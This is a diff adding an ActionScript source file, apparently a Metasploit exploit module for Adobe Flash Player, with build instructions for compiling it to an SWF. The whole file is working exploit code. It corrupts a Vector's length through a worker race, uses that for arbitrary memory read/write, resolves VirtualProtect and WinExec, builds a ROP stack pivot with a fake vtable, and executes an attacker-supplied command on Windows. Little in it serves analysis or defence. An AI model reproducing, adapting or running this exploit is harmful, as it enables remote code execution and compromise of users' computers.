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| 1 | +// Build how to: |
| 2 | +// 1. Download the AIRSDK, and use its compiler. |
| 3 | +// 2. Be support to support 16.0 as target-player (flex-config.xml). |
| 4 | +// 3. Download the Flex SDK (4.6) |
| 5 | +// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs) |
| 6 | +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) |
| 7 | +// 5. Build with: mxmlc -o msf.swf Msf.as |
| 8 | + |
| 9 | +// Original code by @hdarwin89 modified to be used from msf |
| 10 | +// https://git.hacklab.kr/snippets/13 |
| 11 | +// http://pastebin.com/Wj3NViUu |
| 12 | + |
| 13 | +package |
| 14 | +{ |
| 15 | + import flash.display.Sprite |
| 16 | + import flash.events.Event |
| 17 | + import flash.utils.ByteArray |
| 18 | + import flash.system.Worker |
| 19 | + import flash.system.WorkerDomain |
| 20 | + import flash.system.MessageChannel |
| 21 | + import flash.system.ApplicationDomain |
| 22 | + import avm2.intrinsics.memory.casi32 |
| 23 | + import flash.display.LoaderInfo |
| 24 | + import mx.utils.Base64Decoder |
| 25 | + |
| 26 | + public class Msf extends Sprite |
| 27 | + { |
| 28 | + private var ov:Vector.<Object> = new Vector.<Object>(25600) |
| 29 | + private var uv:Vector.<uint> = new Vector.<uint> |
| 30 | + private var ba:ByteArray = new ByteArray() |
| 31 | + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) |
| 32 | + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) |
| 33 | + private var b64:Base64Decoder = new Base64Decoder() |
| 34 | + private var payload:String = "" |
| 35 | + private var worker:Worker |
| 36 | + private var mc:MessageChannel |
| 37 | + |
| 38 | + public function Msf() |
| 39 | + { |
| 40 | + if (Worker.current.isPrimordial) mainThread() |
| 41 | + else workerThread() |
| 42 | + } |
| 43 | + |
| 44 | + private function mainThread():void |
| 45 | + { |
| 46 | + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) |
| 47 | + payload = b64.toByteArray().toString() |
| 48 | + ba.length = 0x1000 |
| 49 | + ba.shareable = true |
| 50 | + for (var i:uint = 0; i < ov.length; i++) { |
| 51 | + ov[i] = new Vector.<Object>(1014) |
| 52 | + ov[i][0] = ba |
| 53 | + ov[i][1] = this |
| 54 | + ov[i][2] = stack |
| 55 | + ov[i][3] = payload_space |
| 56 | + } |
| 57 | + for (i = 0; i < ov.length; i += 2) delete(ov[i]) |
| 58 | + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) |
| 59 | + mc = worker.createMessageChannel(Worker.current) |
| 60 | + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) |
| 61 | + worker.setSharedProperty("mc", mc) |
| 62 | + worker.setSharedProperty("ba", ba) |
| 63 | + ApplicationDomain.currentDomain.domainMemory = ba |
| 64 | + worker.start() |
| 65 | + } |
| 66 | + |
| 67 | + private function workerThread():void |
| 68 | + { |
| 69 | + var ba:ByteArray = Worker.current.getSharedProperty("ba") |
| 70 | + var mc:MessageChannel = Worker.current.getSharedProperty("mc") |
| 71 | + var tmp:ByteArray = new ByteArray() |
| 72 | + tmp.length = 0x2000 |
| 73 | + |
| 74 | + for (var i:uint = 0; i < 20; i++) { |
| 75 | + new Vector.<uint>(1022) |
| 76 | + } |
| 77 | + |
| 78 | + ba.writeBytes(tmp) |
| 79 | + ov[0] = new Vector.<uint>(1022) |
| 80 | + |
| 81 | + mc.send("") |
| 82 | + while (mc.messageAvailable); |
| 83 | + |
| 84 | + // Vector length corruption didn't work, aborting... |
| 85 | + if (ov[0].length != 0xffffffff) { |
| 86 | + return |
| 87 | + } |
| 88 | + |
| 89 | + // Bad memory layout :( restoring length, and aborting... |
| 90 | + if (ov[0][0x407] != 0x3f6) { |
| 91 | + ov[0][0x3ffffffe] = 1022 |
| 92 | + return |
| 93 | + } |
| 94 | + |
| 95 | + ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 |
| 96 | + var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000 |
| 97 | + var main:uint = ov[0][0x409] - 1 |
| 98 | + var stack_object:uint = ov[0][0x40a] - 1 |
| 99 | + var payload_space_object:uint = ov[0][0x40b] - 1 |
| 100 | + var vtable:uint = vector_read(main) |
| 101 | + var stack_address:uint = vector_read(stack_object + 0x18) as uint |
| 102 | + var payload_address:uint = vector_read(payload_space_object + 0x18) as uint |
| 103 | + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) |
| 104 | + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) |
| 105 | + mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString()) |
| 106 | + } |
| 107 | + |
| 108 | + private function onMessage(e:Event):void |
| 109 | + { |
| 110 | + casi32(0, 1022, 0xFFFFFFFF) |
| 111 | + if (ba.length != 0xffffffff) mc.receive() |
| 112 | + else { |
| 113 | + // Restoring vector length |
| 114 | + var res:uint = casi32(0, 0xffffffff, 1022) |
| 115 | + if (res != 0xffffffff) { // Something has been wrong... aborting |
| 116 | + return |
| 117 | + } |
| 118 | + ba.endian = "littleEndian" |
| 119 | + var data:Array = (mc.receive() as String).split("/") |
| 120 | + var buffer:uint = parseInt(data[0]) as uint |
| 121 | + var main:uint = parseInt(data[1]) as uint |
| 122 | + var vtable:uint = parseInt(data[2]) as uint |
| 123 | + var stack_address:uint = parseInt(data[3]) as uint |
| 124 | + var payload_address:uint = parseInt(data[4]) as uint |
| 125 | + var flash:uint = base(vtable) |
| 126 | + var winmm:uint = module("winmm.dll", flash) |
| 127 | + var kernel32:uint = module("kernel32.dll", winmm) |
| 128 | + var virtualprotect:uint = procedure("VirtualProtect", kernel32) |
| 129 | + var winexec:uint = procedure("WinExec", kernel32) |
| 130 | + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) |
| 131 | + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) |
| 132 | + |
| 133 | + // Continuation of execution |
| 134 | + byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable |
| 135 | + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main |
| 136 | + byte_write(0, "\x89\x03", false) // mov [ebx], eax |
| 137 | + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret |
| 138 | + |
| 139 | + // Put the payload (command) in memory |
| 140 | + byte_write(payload_address + 8, payload, true); // payload |
| 141 | + |
| 142 | + // Put the fake vtabe / stack on memory |
| 143 | + byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... |
| 144 | + byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] |
| 145 | + byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot |
| 146 | + byte_write(0, virtualprotect) |
| 147 | + |
| 148 | + // VirtualProtect |
| 149 | + byte_write(0, winexec) |
| 150 | + byte_write(0, buffer + 0x10) |
| 151 | + byte_write(0, 0x1000) |
| 152 | + byte_write(0, 0x40) |
| 153 | + byte_write(0, buffer + 0x8) // Writable address (4 bytes) |
| 154 | + |
| 155 | + // WinExec |
| 156 | + byte_write(0, buffer + 0x10) |
| 157 | + byte_write(0, payload_address + 8) |
| 158 | + byte_write(0) |
| 159 | + |
| 160 | + byte_write(main, stack_address + 0x18000) // overwrite with fake vtable |
| 161 | + |
| 162 | + toString() // call method in the fake vtable |
| 163 | + } |
| 164 | + } |
| 165 | + |
| 166 | + private function vector_write(addr:uint, value:uint = 0):void |
| 167 | + { |
| 168 | + var pos:uint = 0 |
| 169 | + |
| 170 | + if (addr > ov[0][0]) { |
| 171 | + pos = ((addr - ov[0][0]) / 4) - 2 |
| 172 | + } else { |
| 173 | + pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 |
| 174 | + } |
| 175 | + |
| 176 | + ov[0][pos] = value |
| 177 | + } |
| 178 | + |
| 179 | + private function vector_read(addr:uint):uint |
| 180 | + { |
| 181 | + var pos:uint = 0 |
| 182 | + |
| 183 | + if (addr > ov[0][0]) { |
| 184 | + pos = ((addr - ov[0][0]) / 4) - 2 |
| 185 | + } else { |
| 186 | + pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 |
| 187 | + } |
| 188 | + |
| 189 | + return ov[0][pos] |
| 190 | + } |
| 191 | + |
| 192 | + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void |
| 193 | + { |
| 194 | + if (addr) ba.position = addr |
| 195 | + if (value is String) { |
| 196 | + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) |
| 197 | + if (zero) ba.writeByte(0) |
| 198 | + } else ba.writeUnsignedInt(value) |
| 199 | + } |
| 200 | + |
| 201 | + private function byte_read(addr:uint, type:String = "dword"):uint |
| 202 | + { |
| 203 | + ba.position = addr |
| 204 | + switch(type) { |
| 205 | + case "dword": |
| 206 | + return ba.readUnsignedInt() |
| 207 | + case "word": |
| 208 | + return ba.readUnsignedShort() |
| 209 | + case "byte": |
| 210 | + return ba.readUnsignedByte() |
| 211 | + } |
| 212 | + return 0 |
| 213 | + } |
| 214 | + |
| 215 | + private function base(addr:uint):uint |
| 216 | + { |
| 217 | + addr &= 0xffff0000 |
| 218 | + while (true) { |
| 219 | + if (byte_read(addr) == 0x00905a4d) return addr |
| 220 | + addr -= 0x10000 |
| 221 | + } |
| 222 | + return 0 |
| 223 | + } |
| 224 | + |
| 225 | + private function module(name:String, addr:uint):uint |
| 226 | + { |
| 227 | + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 |
| 228 | + while (true) { |
| 229 | + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) |
| 230 | + if (!entry) throw new Error("FAIL!"); |
| 231 | + ba.position = addr + entry |
| 232 | + if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break |
| 233 | + } |
| 234 | + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) |
| 235 | + } |
| 236 | + |
| 237 | + private function procedure(name:String, addr:uint):uint |
| 238 | + { |
| 239 | + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) |
| 240 | + var numberOfNames:uint = byte_read(eat + 0x18) |
| 241 | + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) |
| 242 | + var addressOfNames:uint = addr + byte_read(eat + 0x20) |
| 243 | + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) |
| 244 | + for (var i:uint = 0; ; i++) { |
| 245 | + var entry:uint = byte_read(addressOfNames + i * 4) |
| 246 | + ba.position = addr + entry |
| 247 | + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break |
| 248 | + } |
| 249 | + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) |
| 250 | + } |
| 251 | + |
| 252 | + private function gadget(gadget:String, hint:uint, addr:uint):uint |
| 253 | + { |
| 254 | + var find:uint = 0 |
| 255 | + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) |
| 256 | + var value:uint = parseInt(gadget, 16) |
| 257 | + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break |
| 258 | + return addr + i |
| 259 | + } |
| 260 | + } |
| 261 | +} |
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